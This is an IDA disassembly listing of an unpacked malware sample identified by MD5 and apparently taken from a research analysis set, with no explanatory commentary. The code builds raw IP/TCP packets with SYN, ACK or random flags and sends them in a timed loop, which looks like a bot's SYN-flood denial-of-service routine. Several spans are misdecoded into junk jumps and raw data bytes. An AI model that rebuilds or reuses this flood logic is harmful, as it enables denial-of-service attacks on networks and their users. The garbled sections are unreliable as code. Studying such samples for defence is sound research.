;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	1E4AD6CDB169EA59CA5996FC57982460

; File Name   :	u:\work\1e4ad6cdb169ea59ca5996fc57982460_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:0040BFA1o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40134E
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41E040
		push	eax
		call	sub_4104AF
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_40107D
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40DFB2
		add	esp, 14h


loc_40107D:				; CODE XREF: start+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407AB1
		push	[ebp+var_10]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		mov	ah, 5Fh
		pop	esi
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109C	proc near		; CODE XREF: sub_40134E+3Cp

var_284		= byte ptr -284h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_32		= word ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_42F990
		test	eax, eax
		jz	short loc_4010DC
		xor	eax, eax
		jmp	loc_40134A
; ---------------------------------------------------------------------------


loc_4010DC:				; CODE XREF: sub_40109C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_42FABC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401342
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_42F9F8
		cmp	eax, 0FFFFFFFFh
		jz	loc_401338
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_42FA18
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_42FA18
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_42FA18
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_42FA18
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0A70000h
		jmp	near ptr 51385732h
; ---------------------------------------------------------------------------
		db 0E8h, 56h, 0EEh
		dd 0FF870066h, 458BC475h, 75FF9914h, 0E85052C0h, 0F714h
		dd 8BF84503h, 0FC7513F2h, 66A84589h, 0E8DC5D89h, 0F67Fh
		dd 3E9B999h, 0F9F70000h, 3E8C281h, 0FF520000h, 42FA1815h
		dd 45896600h, 0F661E8CCh, 0F88B0000h, 0E810E7C1h, 0F657h
		dd 0FF57F80Bh, 42FA1815h, 0C0B70F00h, 8BD04589h, 45FF0C45h
		dd 15FF500Ch, 42FA14h, 4589146Ah, 0F0458BECh, 4589575Fh
		dd 905D888Ch, 69145C6h,	0FA1815FFh, 89660042h, 458B9245h
		dd 884589ECh, 6A88458Dh, 858D5020h, 0FFFFFF4Ch,	0F2C6E850h
		dd 458D0000h, 8D5057CCh, 0FFFF6C85h, 0B5E850FFh, 8D0000F2h
		dd 0FFFF4C85h, 50346AFFh, 5ACFE8h, 45896600h, 0E0458DDCh
		dd 858D5057h, 0FFFFFF4Ch, 0F292E850h, 458D0000h, 8D5057CCh
		dd 0FFFF6085h, 81E850FFh, 6A0000F2h, 74858D04h,	53FFFFFFh
		dd 0F5D2E850h, 0C4830000h, 4C858D44h, 6AFFFFFFh, 89E85028h
		dd 6600005Ah, 8DEA4589h, 5057E045h, 0FF4C858Dh,	0E850FFFFh
		dd 0F24Ch, 8D14C483h, 106AB045h, 858D5350h, 0FFFFFF4Ch
		dd 0FF50286Ah, 15FFF475h, 42FA7Ch, 74FFF883h, 10450127h
		dd 50F8458Dh, 66ED0FE8h, 458BCF00h, 7FC63BFCh, 0C88C0F3Ch
		dd 8BFFFFFEh, 453BF845h, 0E92E73A8h, 0FFFFFEBBh, 0F9AC15FFh
		dd 8D500042h, 0FFFF0C85h, 0E07C68FFh, 0E8500041h, 0F18Bh
		dd 0FF0C858Dh, 0E850FFFFh, 6781h, 0EB10C483h, 105D8B03h
; ---------------------------------------------------------------------------


loc_401338:				; CODE XREF: sub_40109C+78j
		push	[ebp+var_C]
		call	ds:dword_42FAB0
		pop	esi


loc_401342:				; CODE XREF: sub_40109C+5Bj
		call	ds:dword_42F978
		mov	eax, ebx


loc_40134A:				; CODE XREF: sub_40109C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_40109C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40134E	proc near		; CODE XREF: start+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_406BC9
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41098F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41098F
		mov	edi, eax
		call	sub_41084F
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_40109C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401399
		push	1
		pop	eax


loc_401399:				; CODE XREF: sub_40134E+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40134E	endp

; ---------------------------------------------------------------------------


loc_4013A8:				; DATA XREF: seg000:0040B3E4o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41C04C
		call	edi ; dword_41C04C
		push	eax
		call	sub_410845
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_42FA98
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_401471
		call	ds:dword_42F9AC
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E204
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401451
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40DFB2
		add	esp, 14h


loc_401451:				; CODE XREF: seg000:0040142Cj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-0BCh]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		dec	edi


loc_401471:				; CODE XREF: seg000:00401409j
		lea	ecx, [ebp-34h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_42F9F8
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4014EE+1
		call	ds:dword_42F9AC
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E1B8
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4014CF
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40DFB2
		add	esp, 14h


loc_4014CF:				; CODE XREF: seg000:004014AAj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-0BCh]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_4014EE:				; CODE XREF: seg000:00401487j
		add	ecx, [ebp-23B7Bh]
		call	dword ptr [eax-1]
		adc	eax, offset dword_42FA58
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_40155E+1
		lea	eax, [ebp-440h]
		push	offset dword_41E184
		push	eax
		call	sub_4104AF
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40153F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40DFB2
		add	esp, 14h


loc_40153F:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-0BCh]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_40155E:				; CODE XREF: seg000:004014FFj
		db	3Eh
		push	10h
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	ebx
		call	ds:dword_42FA18
		mov	[ebp-42h], ax
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_42FA58
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi ; dword_41C04C
		mov	[ebp-30h], eax


loc_401597:				; CODE XREF: seg000:004017D8j
		call	edi ; dword_41C04C
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_40185A+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_42FA18
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_40160A
		call	sub_41084F
		mov	esi, eax
		shl	esi, 8
		call	sub_41084F
		add	esi, eax
		shl	esi, 8
		call	sub_41084F
		add	esi, eax
		shl	esi, 8
		call	sub_41084F
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401620
; ---------------------------------------------------------------------------


loc_40160A:				; CODE XREF: seg000:004015DBj
		push	dword ptr [ebp-240h]
		call	sub_406CDF
		pop	ecx
		push	eax
		call	ds:dword_42FA58
		mov	[ebp-20h], eax


loc_401620:				; CODE XREF: seg000:00401608j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_40163E
		call	sub_41084F
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401644
; ---------------------------------------------------------------------------


loc_40163E:				; CODE XREF: seg000:0040162Cj
		push	dword ptr [ebp-0B8h]


loc_401644:				; CODE XREF: seg000:0040163Cj
		call	ds:dword_42FA18
		mov	[ebp-16h], ax
		call	sub_41084F
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_42FA18
		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_42FA14
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401694
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_4016F0
; ---------------------------------------------------------------------------


loc_401694:				; CODE XREF: seg000:00401689j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4016B4
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_4016F0
; ---------------------------------------------------------------------------


loc_4016B4:				; CODE XREF: seg000:004016A9j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4016F0
		call	sub_41084F
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_41084F
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_4016F0:				; CODE XREF: seg000:00401692j
					; seg000:004016B2j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_42FA18
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_42FA18
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410510
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_410510
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_406D38
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410510
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_410510
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_406D38
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410510
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_42FA7C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4017DD
		inc	dword ptr [ebp+8]
		jmp	loc_401597
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: seg000:004017D3j
		push	dword ptr [ebp-4]
		call	ds:dword_42FAB0
		call	ds:dword_42F9AC
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_41E110
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_40183B
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40DFB2
		add	esp, 14h


loc_40183B:				; CODE XREF: seg000:00401816j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-0BCh]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_40185A:				; CODE XREF: seg000:0040185Cj
					; seg000:004015ABj ...
		jb	short near ptr loc_40185A+1
		jnz	short loc_40185A
		call	ds:dword_42FAB0
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E0AC
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4018CC
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40DFB2
		add	esp, 14h


loc_4018CC:				; CODE XREF: seg000:004018A7j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-0BCh]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		jmp	near ptr 60C3DA7Bh ; CODE XREF:	sub_401B60+Ep
					; sub_401B60+33p ...
; ---------------------------------------------------------------------------
		dd 20830004h
		db 0, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_4018F6	proc near		; CODE XREF: sub_401B60+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_410AEB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_401928
		push	ebx
		push	0
		push	edi
		call	sub_410870
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_410510
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_401928:				; CODE XREF: sub_4018F6+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4018F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401930	proc near		; CODE XREF: sub_401A2A+18p
					; sub_401AA4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40197C
		push	edi
		push	0
		push	esi
		call	sub_410870
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_410510
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_410510
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40197C:				; CODE XREF: sub_401930+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_401930	endp


; =============== S U B	R O U T	I N E =======================================



sub_401985	proc near		; CODE XREF: sub_401A2A+5Ep
					; sub_401A2A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401995
		push	eax
		call	sub_410B5F
		pop	ecx


loc_401995:				; CODE XREF: sub_401985+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_401985	endp


; =============== S U B	R O U T	I N E =======================================



sub_40199E	proc near		; CODE XREF: sub_401A2A+20p
					; sub_401B05+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4019CB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_410AEB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4019CF


loc_4019CB:				; CODE XREF: sub_40199E+Dj
		xor	al, al
		jmp	short loc_401A26
; ---------------------------------------------------------------------------


loc_4019CF:				; CODE XREF: sub_40199E+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_410870
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_4019F4
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_401A0E
; ---------------------------------------------------------------------------


loc_4019F4:				; CODE XREF: sub_40199E+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_401A0E:				; CODE XREF: sub_40199E+54j
		push	eax
		call	sub_410510
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_410B5F
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_401A26:				; CODE XREF: sub_40199E+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40199E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A2A	proc near		; CODE XREF: sub_401B60+89p
					; sub_401B60+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_42E654
		call	sub_401930
		lea	ecx, [ebp+var_8]
		call	sub_40199E
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_410AEB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401A64
		xor	al, al
		jmp	short loc_401AA0
; ---------------------------------------------------------------------------


loc_401A64:				; CODE XREF: sub_401A2A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_410870
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_410510
		add	esp, 18h
		mov	ecx, esi
		call	sub_401985
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_401985
		mov	al, 1


loc_401AA0:				; CODE XREF: sub_401A2A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_401A2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AA4	proc near		; CODE XREF: sub_401AD8+14p
					; sub_401AF5+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_401930
		mov	ecx, esi
		call	sub_401985
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_401AA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AD8	proc near		; CODE XREF: sub_401B60+F0p
					; sub_401B60+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_410A70
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_401AA4
		pop	esi
		retn	4
sub_401AD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AF5	proc near		; CODE XREF: sub_401B41+Bp
					; sub_401B60+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401AA4
		retn	8
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B05	proc near		; CODE XREF: sub_401B41+16p
					; sub_401B60+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40199E
		test	al, al
		jz	short loc_401B3E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_41E5B7+1)
		call	sub_401930
		mov	ecx, esi
		call	sub_401985
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_401B3E:				; CODE XREF: sub_401B05+Fj
		pop	esi
		leave
		retn
sub_401B05	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B41	proc near		; CODE XREF: sub_401B60+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401AF5
		test	al, al
		jz	short loc_401B5C
		mov	ecx, esi
		call	sub_401B05


loc_401B5C:				; CODE XREF: sub_401B41+12j
		pop	esi
		retn	8
sub_401B41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B60	proc near		; CODE XREF: sub_40235F+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	near ptr loc_4018EB+1
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_401EB4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_401EB4
		push	esi
		lea	ecx, [ebp+var_30]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_20]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_50]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_18]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_40]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_38]
